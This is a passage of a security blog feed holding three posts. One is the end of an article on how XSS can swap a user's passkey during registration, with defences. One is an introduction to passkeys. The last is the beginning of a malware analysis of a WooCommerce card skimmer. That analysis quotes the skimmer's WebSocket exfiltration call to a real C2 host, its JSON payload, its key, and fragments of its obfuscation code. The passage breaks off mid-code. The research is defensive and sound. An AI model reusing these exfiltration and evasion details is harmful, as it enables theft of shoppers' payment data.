normal registration process, get a prompt from their Authenticator to create and save a new passkey, but the Authenticator will then <strong>save the wrong passkey</strong>. The Authenticator will save the passkey that it generated, but that was not the passkey sent to the RP, which was substituted for the attacker&apos;s passkey. It now looks like you&apos;ve registered a passkey on the website, you see a passkey in your password manager, the website shows that a Passkey has now been registered on your account, but the passkey the victim has will never work. Only the passkey that the attacker has will work and the reason this work so well is best demonstrated by updating the diagram.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/image-5.png" class="kg-image" alt="XSS Is Deadly for Passkeys: The Hidden Risk of Attestation None" loading="lazy" width="1448" height="1086" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/05/image-5.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/05/image-5.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/image-5.png 1448w" sizes="(min-width: 720px) 720px"></figure><p></p><p>To demonstrate this process, we&apos;ve created <a href="https://report-uri-demo.com/passkeys/2/?ref=scotthelme.ghost.io" rel="noreferrer">Passkeys Demo 2</a>, where you can register a passkey on your account, but the passkey saved on your device will not be the correct passkey. You can then try to sign in with your passkey and observe that, as expected, it doesn&apos;t work, but the attacker can log in with their passkey.</p><p></p><h3 id="the-threat-model-that-matters">The Threat Model That Matters</h3><p>Attestation isn&apos;t being &quot;skipped&quot; out of laziness or a lack of knowledge, it&apos;s a recognition that for a service whose users are spread across every device and every password manager, the strong version of attestation would trade an assurance about device provenance for a very real loss of accessibility. The threat model that matters for us &#x2014; phishing, credential theft, replay &#x2014; is fully addressed by the challenge/origin binding and the signature check provided by synced passkeys. Device attestation doesn&apos;t move that needle, and it&apos;s why we don&apos;t require it.</p><p>Attestation and synced passkeys are fundamentally at odds, and choosing not to attest is what lets your users bring the passkeys that they actually have. If it&apos;s a choice between no Attestation or no passkeys, which are you choosing?</p><p></p><h3 id="defending-against-the-threat">Defending Against The Threat</h3><p>Everyone out there should be using, or aiming to use, passkeys, but we need to acknowledge the risks that exist and take steps to mitigate them. Here is some practical guidance to take away and use to help strengthen your passkeys deployment.</p><p></p>
    <!--kg-card-begin: html-->
    <h4 style="font-size: 2.2rem;">Step up authentication before registration</h4>
    <!--kg-card-end: html-->
    <p>This one can be tricky because I&apos;ve seen many sites using passkeys to replace passwords, but that&apos;s not something we&apos;ve done on Report URI, passkeys are used as a 2FA mechanism. When attempting to register a new passkey on your account, you need the current password for the account to do it. This means that JavaScript can&apos;t silently register a new passkey. You could also require any other 2FA mechanism, a magic-link via email, or any other additional authentication mechanism.</p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/image-3.png" class="kg-image" alt="XSS Is Deadly for Passkeys: The Hidden Risk of Attestation None" loading="lazy" width="934" height="445" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/05/image-3.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/image-3.png 934w" sizes="(min-width: 720px) 720px"></figure><p></p>
    <!--kg-card-begin: html-->
    <h4 style="font-size: 2.2rem;">Stop the Malicious JavaScript from running</h4>
    <!--kg-card-end: html-->
    <p>A strong <a href="https://report-uri.com/products/content_security_policy?ref=scotthelme.ghost.io" rel="noreferrer">Content Security Policy</a> is going to go a long way here and the best way to stop this attack is to stop the XSS at the source. You should also use <a href="https://scotthelme.co.uk/subresource-integrity/?ref=scotthelme.ghost.io" rel="noreferrer">Subresource Integrity</a> wherever possible to secure your third-party dependencies. You can see <a href="https://report-uri-demo.com/passkeys/3/?ref=scotthelme.ghost.io" rel="noreferrer">Passkeys Demo 3</a> for what happens when an analytics script goes rogue and starts registering passkeys for your visitors.</p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/image-6.png" class="kg-image" alt="XSS Is Deadly for Passkeys: The Hidden Risk of Attestation None" loading="lazy" width="402" height="146"></figure><p></p>
    <!--kg-card-begin: html-->
    <h4 style="font-size: 2.2rem;">Take Control of Powerful APIs</h4>
    <!--kg-card-end: html-->
    <p>Using Permissions Policy, you can take control of which pages on your site, and which third-party scripts you&apos;re loading, have access to the <code>navigator.credentials.create()</code> and <code>navigator.credentials.get()</code> API calls to register a passkey and authenticate with a passkey. In reality, we probably have very few pages on our sites that need to touch passkeys, and probably even fewer third-party scripts that we want to have that capability. This won&#x2019;t stop the direct <code>/register_finish/</code> attack described above, because that attack doesn&#x2019;t need the WebAuthn API, but it does reduce the number of places where malicious JavaScript can interfere with legitimate passkey ceremonies.</p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/image-7.png" class="kg-image" alt="XSS Is Deadly for Passkeys: The Hidden Risk of Attestation None" loading="lazy" width="660" height="132" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/05/image-7.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/image-7.png 660w"></figure><p></p>
    <!--kg-card-begin: html-->
    <h4 style="font-size: 2.2rem;">Out-Of-Band Notification on Registration</h4>
    <!--kg-card-end: html-->
    <p>If a new passkey is added to the account of one of your users, you should absolutely be notifying them that this has happened. Send out a notification, via email or any other means, to your user as soon as a new passkey is added to their account. If they were not expecting this to have happened, they can take immediate steps to protect their account.</p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/image-8.png" class="kg-image" alt="XSS Is Deadly for Passkeys: The Hidden Risk of Attestation None" loading="lazy" width="717" height="570" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/05/image-8.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/image-8.png 717w"></figure><p></p><h3 id="these-are-problems-that-report-uri-can-solve">These Are Problems That Report URI Can Solve</h3><p>As a specialised client-side protection platform, it stands to reason that Report URI can help you defend against these client-side attacks. I&apos;m going to keep it brief here as the main purpose of this blog post is to highlight the risks above, but this is a topic we&apos;ve done a lot of research on and we can provide some real value.</p><p></p><figure class="kg-card kg-image-card"><a href="https://report-uri.com/?ref=scotthelme.ghost.io"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/report-uri-logo-2.png" class="kg-image" alt="XSS Is Deadly for Passkeys: The Hidden Risk of Attestation None" loading="lazy" width="800" height="70" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/05/report-uri-logo-2.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/report-uri-logo-2.png 800w" sizes="(min-width: 720px) 720px"></a></figure><p></p><ul><li>Get a <a href="https://report-uri.com/products/content_security_policy?ref=scotthelme.ghost.io" rel="noreferrer">Content Security Policy</a> deployed and get real-time feedback from the browser about what&apos;s happening in the page as your visitors see it.</li><li>Use our <a href="https://report-uri.com/solutions/javascript_integrity_monitoring?ref=scotthelme.ghost.io" rel="noreferrer">JavaScript Integrity Monitoring</a> to keep track of your third-party JavaScript dependencies, and when they change. </li><li>Audit the use of Subresource Integrity across your site using <a href="https://report-uri.com/products/integrity_policy?ref=scotthelme.ghost.io" rel="noreferrer">Integrity Policy</a> and keep your JavaScript Supply Chain secure. </li><li>Deploy a <a href="https://report-uri.com/products/permissions_policy?ref=scotthelme.ghost.io" rel="noreferrer">Permissions Policy</a> on your site and lock down the use of powerful JavaScript APIs.</li></ul><p></p><p>We&#x2019;ve also put together a dedicated <a href="https://report-uri.com/solutions/passkeys_protection?ref=scotthelme.ghost.io" rel="noreferrer">Passkeys solutions page</a> and whitepaper for teams who want practical guidance on finding and reducing these risks.</p><p></p><h3 id="conclusion">Conclusion</h3><p>Using <code>attestation: &quot;none&quot;</code> isn&apos;t a problem, it&apos;s a trade-off between security and convenience. The hidden risk is overlooking the threat of a page-level adversary, who is always going to cause you problems, but they can cause some particularly big problems when it comes to passkeys.</p><p>Passkeys remain the right direction, and I want to see widespread adoption of them, but the security boundary they replace (passwords) was a single secret on the wire. The boundary they introduce, a ceremony brokered by the user agent, only holds if the user agent, and everything injected into it, can be trusted. This is why XSS becomes deadly to passkeys.</p><p></p><p></p>
    <!--kg-card-begin: html-->
    <script src="https://cdnjs.cloudflare.com/ajax/libs/prism/1.30.0/prism.min.js" integrity="sha512-HiD3V4nv8fcjtouznjT9TqDNDm1EXngV331YGbfVGeKUoH+OLkRTCMzA34ecjlgSQZpdHZupdSrqHY+Hz3l6uQ==" crossorigin="anonymous" referrerpolicy="no-referrer"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/prism/1.30.0/components/prism-markup.min.js" integrity="sha512-Ei5Vokmnc/f7vIt31aodVMuavT/xp2Lt5vGDYLgCzgBX/z5ghbZQfxt/9FkNs+RyG8IfBKAkdRsQQk4PZyHq5g==" crossorigin="anonymous" referrerpolicy="no-referrer"></script>
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/prism/1.30.0/themes/prism-okaidia.min.css" integrity="sha512-mIs9kKbaw6JZFfSuo+MovjU+Ntggfoj8RwAmJbVXQ5mkAX5LlgETQEweFPI18humSPHymTb5iikEOKWF7I8ncQ==" crossorigin="anonymous" referrerpolicy="no-referrer">
    <style>
      pre[class*="language-"] {
          font-size: 0.75em;
      }
    </style>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/prism/1.30.0/components/prism-http.min.js" integrity="sha512-3KphgbiKTzK2CNxlSgUKypipTV7tWknO5czNb+E7H4CeHOOSer2s2rIOCTuz8NsY1zm+B9tP9Ul2JX/tmdyOYg==" crossorigin="anonymous" referrerpolicy="no-referrer"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/prism/1.30.0/components/prism-javascript.min.js" integrity="sha512-jwrwRWZWW9J6bjmBOJxPcbRvEBSQeY4Ad0NEXSfP0vwYi/Yu9x5VhDBl3wz6Pnxs8Rx/t1P8r9/OHCRciHcT7Q==" crossorigin="anonymous" referrerpolicy="no-referrer"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/prism/1.30.0/components/prism-json.min.js" integrity="sha512-QXFMVAusM85vUYDaNgcYeU3rzSlc+bTV4JvkfJhjxSHlQEo+ig53BtnGkvFTiNJh8D+wv6uWAQ2vJaVmxe8d3w==" crossorigin="anonymous" referrerpolicy="no-referrer"></script>
    <!--kg-card-end: html-->
    <p></p>]]></content:encoded></item><item><title><![CDATA[Passkeys 101: An Introduction to Passkeys and How They Work]]></title><description><![CDATA[<p>Passwords have been the weak point in online authentication for decades. They can be reused, guessed, stolen, phished, leaked, sprayed, stuffed, and captured by malware. Passkeys are one of the first mainstream authentication technologies that remove many of those problems entirely, and any website still relying on passwords should be</p>]]></description><link>https://scotthelme.ghost.io/passkeys-101-an-introduction-to-passkeys-and-how-they-work/</link><guid isPermaLink="false">6a060a6ed5ad2e0001eb50ed</guid><category><![CDATA[Passkeys]]></category><dc:creator><![CDATA[Scott Helme]]></dc:creator><pubDate>Mon, 18 May 2026 09:16:29 GMT</pubDate><media:content url="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/introduction-to-passkeys.png" medium="image"/><content:encoded><![CDATA[<img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/introduction-to-passkeys.png" alt="Passkeys 101: An Introduction to Passkeys and How They Work"><p>Passwords have been the weak point in online authentication for decades. They can be reused, guessed, stolen, phished, leaked, sprayed, stuffed, and captured by malware. Passkeys are one of the first mainstream authentication technologies that remove many of those problems entirely, and any website still relying on passwords should be seriously considering support for them.</p><p></p><h3 id="why-passwords-are-a-problem">Why passwords are a problem</h3><p>I think anyone reading this blog post will understand why passwords are a problem, but I&apos;m going to outline it here to set the scene for why passkeys are such a huge improvement. The truth is, passwords can be a pain, and we&apos;ve been fighting that pain for decades. We&#x2019;ve battled password strength requirements, password reuse, credential stuffing, password spraying, database leaks, trivial phishing, and the recent rise of info-stealer malware. We&#x2019;ve also had to build layers of defensive engineering around passwords, like salting, hashing, breached-password checks, and stronger password policies, just to make them survivable. The truth is, we&apos;ve been using passwords for so long because they were the best thing we had, not because they&apos;re great. </p><p>I first wrote about password security all the way back in 2013 (<a href="https://scotthelme.co.uk/password-security/?ref=scotthelme.ghost.io" rel="noreferrer">link</a>) and much more recently we&apos;ve had to bring a sharp focus on our handling of passwords at <a href="https://report-uri.com/?ref=scotthelme.ghost.io" rel="noreferrer">Report URI</a>. I covered this in <a href="https://scotthelme.co.uk/boosting-account-security-pwned-passwords-and-zxcvbn/?ref=scotthelme.ghost.io" rel="noreferrer">Boosting password security! Pwned Passwords, zxcvbn, and more!</a> and then <a href="https://scotthelme.co.uk/under-attack-responding-to-the-rise-of-info-stealer-threats/?ref=scotthelme.ghost.io" rel="noreferrer">Under Attack: Responding to the Rise of Info-Stealer Threats</a> in just the last few months. Passwords continue to be a problem! 2FA has helped, and provided a much needed crutch for passwords over the years, but it doesn&apos;t solve the phishing problem which is arguably one of the biggest risks with passwords and current generation 2FA as my good friend Troy Hunt found out last year when he got his <a href="https://www.troyhunt.com/a-sneaky-phish-just-grabbed-my-mailchimp-mailing-list/?ref=scotthelme.ghost.io" rel="noreferrer">password and TOTP phished</a>. We need something better, much better.</p><p></p><h3 id="what-are-passkeys">What Are Passkeys?</h3><p>In really simple terms, passkeys are another way to authenticate a user. Just as a website might ask me for my username and password to authenticate me and log me in, they can instead rely on passkeys to do that, but with some considerable advantages. At their core, passkeys are just a pair of cryptographic keys, a public key and a private key. As their names would imply, the public key can be made public and shared with the website, whilst the private key remains private and secure on your device, not being shared with anyone. In many cases, that private key is protected by the same mechanism you already use to unlock your device or password manager, such as biometrics, a PIN, or a local device unlock.</p><p></p><h3 id="how-passkeys-work-at-a-high-level">How Passkeys Work at a High Level</h3><p>It&apos;s surprisingly easy to give an overview of how passkeys work, both in terms of creating a passkey, and then using that passkey to access your account. Here&apos;s a diagram that details the entire process.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/image.png" class="kg-image" alt="Passkeys 101: An Introduction to Passkeys and How They Work" loading="lazy" width="1742" height="1307" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/05/image.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/05/image.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1600/2026/05/image.png 1600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/image.png 1742w" sizes="(min-width: 720px) 720px"></figure><p></p><p>The first step of this process is known as Registration. This is when you create your key pair, securely store your private key on your device and share your public key with the website in question. The website will then store this public key against your account so they know it&apos;s yours. The passkey has now been registered and is ready to use!</p><p>The second step of the process is Authentication. This is when you then come to prove who you are by utilising your previously registered passkey. The website will issue a challenge to you and you must sign that challenge with your private key. You then return this signed challenge to the website which can validate that signature with your public key. This proves that whoever the website is talking to can use the private key associated with that account. Because the private key is protected by your device or passkey provider, that gives the website strong evidence that it is talking to you.</p><p></p><h3 id="why-passkeys-are-better">Why Passkeys Are Better</h3><p>There are a few different areas where passkeys excel when compared to passwords, and each of them is compelling, so I&apos;m going to talk about all of the main advantages.</p><p></p>
    <!--kg-card-begin: html-->
    <h4 style="font-size: 2.1rem;">Phishing Resistance</h4>
    <!--kg-card-end: html-->
    <p>Undoubtedly, this has to be the single biggest advantage of using passkeys; they are incredibly resistant to phishing. You can be tricked into giving up your password by mistake, you can be tricked into giving up your 6-digit TOTP code by mistake, but you can&apos;t be tricked into giving up your passkey by mistake. When you register your passkey and it&apos;s stored on your device, your device will lock that passkey to the origin that it can be used for. That means if you create a passkey on <code>report-uri.com</code>, but then find yourself on a phishing website like <code>rep0rt-ur1.com</code> that&apos;s impersonating us and is trying to phish your credentials, your device will simply not allow you to use your passkey because you are not in the right place. Your device now knows where your passkey can be used, and it will not let you use it anywhere else, which is a protection that can&apos;t be offered for passwords.</p><p></p>
    <!--kg-card-begin: html-->
    <h4 style="font-size: 2.1rem;">No More Weak Passwords</h4>
    <!--kg-card-end: html-->
    <p>Everyone knows that we can create weak passwords if we wanted to, but you can&apos;t create a weak passkey. Because the generation of the passkey is handled by your device, you can be sure that you&apos;re always generating a strong passkey and don&apos;t run into similar risks posed by using a weak password. Nobody is going to be able to guess your passkey like they might be able to guess a weak password, because you&apos;ll never have a weak passkey.</p><p></p>
    <!--kg-card-begin: html-->
    <h4 style="font-size: 2.1rem;">No More Password Reuse</h4>
    <!--kg-card-end: html-->
    <p>There&apos;s nothing stopping you from reusing your password across different services, but your device is required to create a new, unique passkey for each website that you register with. This means that there are no shared passkeys across different services and another category of risk is eliminated.</p><p></p>
    <!--kg-card-begin: html-->
    <h4 style="font-size: 2.1rem;">No More Credential Stuffing or Password Spraying</h4>
    <!--kg-card-end: html-->
    <p>Largely as a consequence of the above two points, an attacker can&apos;t use these two common and effective strategies for trying to gain access to accounts that they shouldn&apos;t have access to. With no more weak and/or reused credentials, you can say goodbye to some pretty serious problems.</p><p></p>
    <!--kg-card-begin: html-->
    <h4 style="font-size: 2.1rem;">No Shared Secret in your Database</h4>
    <!--kg-card-end: html-->
    <p>When adding a passkey to an account, the website is required to store the public key in their database. The public key, as we mentioned and as hinted by its name, is not a secret! This means that in the event of a database breach, there isn&apos;t an additional piece of sensitive information in there to be compromised and all the attacker has managed to gain access to is the public key of the user. The private key remains safe and secure on the user&apos;s device that created it.</p><p></p><h3 id="conclusion">Conclusion</h3><p>Passkeys are a major step forward, but they aren&apos;t magic. They remove many password-era risks, especially phishing and credential reuse, but they also introduce new implementation and threat-model questions. I&#x2019;ll be digging into one of those in much more detail in my next post.</p><p>We recently launched support for passkeys on Report URI and you can read about that here: <a href="https://scotthelme.co.uk/launching-passkeys-support-on-report-uri/?ref=scotthelme.ghost.io" rel="noreferrer">Launching Passkeys support on Report URI!</a> We also had our passkeys implementation penetration tested, <a href="https://scotthelme.co.uk/bringing-in-the-experts-having-our-passkeys-implementation-security-tested/?ref=scotthelme.ghost.io" rel="noreferrer">Bringing in the experts; Having our Passkeys implementation Security Tested</a>. As you can see, we&apos;re pretty serious about passkeys!</p><p>With that said, there are some new considerations and risks that using passkeys brings, and I&apos;ve just started to cover those in <a href="https://scotthelme.co.uk/security-considerations-when-using-passkeys-on-your-website/?ref=scotthelme.ghost.io" rel="noreferrer">Security considerations when using Passkeys on your website</a>. That blog post links out to our whitepaper on the problem, but I will also be writing a more detailed blog post with some new information in the coming days, so make sure to subscribe so you&apos;re notified when I publish that!</p><p></p>]]></content:encoded></item><item><title><![CDATA[Anatomy of a WooCommerce Skimmer: A Technical Deep-Dive]]></title><description><![CDATA[<p>One malicious change to a trusted JavaScript file can turn your checkout page into a silent credit-card skimmer, siphoning customer data off to criminals while the website looks secure and continues to work as normal. That creates serious organisational risk: PCI exposure, regulatory consequences, reputational damage, and a breach</p>]]></description><link>https://scotthelme.ghost.io/anatomy-of-a-woocommerce-skimmer-a-technical-deep-dive/</link><guid isPermaLink="false">69ef62b5417e7e00019a58ca</guid><category><![CDATA[Report URI]]></category><category><![CDATA[magecart]]></category><category><![CDATA[WooCommerce]]></category><category><![CDATA[javascript]]></category><dc:creator><![CDATA[Scott Helme]]></dc:creator><pubDate>Fri, 15 May 2026 14:22:57 GMT</pubDate><media:content url="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/woocomerce-skimmer.png" medium="image"/><content:encoded><![CDATA[<img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/woocomerce-skimmer.png" alt="Anatomy of a WooCommerce Skimmer: A Technical Deep-Dive"><p>One malicious change to a trusted JavaScript file can turn your checkout page into a silent credit-card skimmer, siphoning customer data off to criminals while the website looks secure and continues to work as normal. That creates serious organisational risk: PCI exposure, regulatory consequences, reputational damage, and a breach that remains invisible until long after the damage is done.</p><p>We recently became aware of exactly this kind of compromise, where an attacker modified a JavaScript file on disk and injected malware into it. At first glance, that might seem like an unusual choice. If an attacker has enough access to modify files on the server, why settle for injecting JavaScript into an existing library?</p><p>In this case, there&#x2019;s a very good reason: the data they wanted to steal only existed in the browser, so that&apos;s where their malicious code needed to run.</p><p></p><figure class="kg-card kg-image-card"><a href="https://report-uri.com/?ref=scotthelme.ghost.io"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/report-uri-logo.png" class="kg-image" alt="Anatomy of a WooCommerce Skimmer: A Technical Deep-Dive" loading="lazy" width="800" height="70" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/04/report-uri-logo.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/report-uri-logo.png 800w" sizes="(min-width: 720px) 720px"></a></figure><p></p><h3 id="an-unusual-choice">An unusual choice</h3><p>If I&apos;d found a way to compromise a host to the point where I could modify files on disk, I&apos;m not sure that injecting JavaScript malware into an existing file would be my first choice when it came to deciding my course of action. Yet, here we are!</p><p>Looking at the website in question, my best guess would be a vulnerable WordPress plugin has allowed some level of remote access to the attackers and they&apos;ve leveraged that to modify an existing JS file. The compromised file was an existing and legitimate JS library, and the malware was injected at the start of the file, leaving the original library code intact later in the file. This is a common tactic aimed at reducing the disruption the injection causes as all original functionality remains, reducing the likelihood of being discovered.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/image-8.png" class="kg-image" alt="Anatomy of a WooCommerce Skimmer: A Technical Deep-Dive" loading="lazy" width="1693" height="774" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/04/image-8.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/04/image-8.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1600/2026/04/image-8.png 1600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/image-8.png 1693w" sizes="(min-width: 720px) 720px"></figure><p></p><p>Given that their goal was clearly to skim payment card data, it also explains why their chosen course of action was to modify an existing JS asset rather than leverage much more powerful server-side access: The payment card data doesn&apos;t exist on the server, only on the client, so that&apos;s where they have to target it!</p><p></p><h3 id="evasion-and-anti-detection-techniques">Evasion and Anti-Detection Techniques</h3><p>Rather than add their own file to the page and load the malware in that way, the attackers inserted their code in an existing file, and did so in a way that would not interrupt how it worked. The injected code uses a rotating string array with RC4 encryption and per-call decryption keys (the same technique used by<br>professional JavaScript obfuscation products!), and a reversed, base64-encoded C2 URL:</p><pre><code>c3cvbW9jLm5kYy10c2V1cWVyLy86c3N3
    sw/moc.ndc-tseuqer//:ssw
    wss://request-cdn.com/ws</code></pre><p></p><p>On top of this, after the malicious code establishes its WebSocket connection, it then removes itself to avoid detection.</p><p></p><h3 id="data-theft">Data Theft</h3><p>Looking at the code and the fields on the page that it targets, it&apos;s pretty clear it&apos;s specifically designed for WooCommerce checkouts. The CSS selectors include every standard checkout field like <code>#billing_</code><em>, <code>#shipping_</code>, </em>etc... Not only is it targeting specific fields, the skimmer isn&apos;t just blindly exfiltrating data, it&apos;s doing validation on the data before it exfiltrates it. For the card number, it&apos;s using the <a href="https://en.wikipedia.org/wiki/Luhn_algorithm?ref=scotthelme.ghost.io" rel="noreferrer">Luhn Algorithm</a> to check that it&apos;s a valid card number, and it&apos;s also validating that the expiry date is a date in the future too!</p><p>On top of the desirable card data, it&apos;s also capturing other identity data that is present alongside the card data. This potentially includes your email address, phone number, full address including street/city/postcode/country, your browser UA and the hostname of the site. The code polls these fields in a loop every 500ms, presumably to catch autofill, paste, or JS-set values that don&apos;t trigger input or change events, but also progressively captures the data as you&apos;re typing, meaning it doesn&apos;t rely on an action like form submission for the exfiltration of complete data to happen. If you type in all of your card details and then have second thoughts about your purchase, it&apos;s already too late!</p><p>The final point that stood out to me is that the skimmer keeps a local record of card data that&apos;s already been stolen in localStorage, so if you were to return to the site and make another purchase using the same payment card, the skimmer wouldn&apos;t steal it a second time. How nice of them. </p><p></p><h3 id="data-exfiltration-mechanism">Data Exfiltration Mechanism</h3><p>Once the skimmer has identified some data that passes local validation and it wants to exfiltrate that data, it does so via a WebSocket over TLS. The data is sent to <code>wss://request-cdn.com/ws</code> in real-time using a simple JSON payload. </p><p></p><pre><code class="language-json">{
        &quot;method&quot;: &quot;data&quot;,
        &quot;host&quot;: &quot;victim-site.com&quot;,
        &quot;data&quot;: &quot;*card data here*&quot;
    }</code></pre><p></p><p>Although TLS protects the transmission itself, any security tool terminating and inspecting outbound TLS could still spot payment card data leaving the browser. To avoid this, the malware hides the card data by encrypting it with AES-256-GCM using a PBKDF2-derived key (100,000 iterations, SHA-256) before being sent, and the decryption key (<code>e2c6b94cc6b4</code>)  is embedded in the payload. This isn&apos;t an additional security mechanism to protect the card data, this is another evasion technique.</p><p>Along with a buffer in <code>localStorage</code> to handle multi-step payment flows or interruptions, a keepalive ping on the WebSocket, and even reconnection logic with backoff handling, I&apos;d say there&apos;s a robust strategy in place to make sure this data is going to be exfiltrated!</p><p></p><h3 id="infrastructure">Infrastructure</h3><p>C2 domain: <code>request-cdn.com</code> (mimics a CDN, registered 24th March 2026)<br>C2 IP: <code>69.40.207.105</code><br>Protocol: WebSocket over TLS (wss://)<br>Campaign ID: <code>e2c6b94cc6b4</code> (used as encryption key, unique per victim site)<br>Target platform: WooCommerce (WordPress)<br>Delivery vehicle: Modified <code>blazy.min.js</code> theme asset</p><p></p><h3 id="code-obfuscation-techniques">Code Obfuscation Techniques</h3><p>I mentioned that the code obfuscation being used was quite advanced and whilst I don&apos;t want to delve into it too much as it doesn&apos;t really affect the outcome or the purpose of this script, I thought it was interesting and worth covering at a high level.</p><p>Any readable string in the code &#x2014; method names, property names, URLs, algorithm names &#x2014; are stripped out and dumped into a single, giant array. Instead of the code saying something like:</p><p></p><pre><code>localStorage.setItem(&apos;TTxxp&apos;, data);
    new WebSocket(&apos;wss://request-cdn.com/ws&apos;);</code></pre><p></p><p>Every string is replaced with a function call that looks up the array at runtime:</p><p></p><pre><code>localStorage[R(0x22b,&apos;73VL&apos;)](R(0x1aa,&apos;N@oZ&apos;), data);
    new WebSocket(R(0x26d,&apos;Mb$3&apos;));</code></pre><p></p><p>There are no readable strings <em>anywhere</em> in the code. A human reading it sees nothing but hex numbers and short, random-looking keys.</p><p>The strings in the array aren&apos;t stored in plain text either &#x2014; they&apos;re individually encrypted using the RC4 stream cipher. So, even if you dump the array, you just get a list of random-looking base64 blobs like these:</p><p></p><pre><code>&apos;WQtdUGxdQSodW7a&apos;, &apos;p0hdIL5wlCoP&apos;, &apos;W5iRx8oghaRdMq&apos; ...</code></pre><p></p><p>The <code>R()</code> function, or <code>a0j()</code> in the loader, decrypts each entry on demand using a two-step process &#x2014; first base64-decode the blob, then run RC4 on it to get the<br>plaintext back. To make this even more tricky, the payload uses per-call decryption keys. Each call to R() passes a different key:</p><p></p><pre><code>R(0x22b, &apos;73VL&apos;) // &#x2192; &quot;setItem&quot;
    R(0x1aa, &apos;N@oZ&apos;) // &#x2192; &quot;TTxxp&quot;
    R(0x26d, &apos;Mb$3&apos;) // &#x2192; &quot;wss://&quot;</code></pre><p></p><p>The second argument (<code>&apos;73VL&apos;</code>, <code>&apos;N@oZ&apos;</code>, <code>&apos;Mb$3&apos;</code>) is the RC4 key for that specific string. Every string in the array is encrypted with a different key, hardcoded at its<br>call site. This means:</p><ol><li>We couldn&apos;t decrypt the whole array in one go &#x2014; you need to know which key goes with which index and use the right one.</li><li>Automated tools that try to extract string arrays will get garbage unless they also trace every individual call.</li></ol><p></p><p>Further to this, at start up, the payload runs through a self-checking loop and shuffles/rotates the array.</p><p></p><pre><code>while(!![]){
    try {
    const j = parseInt(...) / 1 + parseInt(...) / 2 * ...
    if(j === 0x87dfa) break;
    else S&apos;push&apos;;
    } catch(c) { S&apos;push&apos;; }
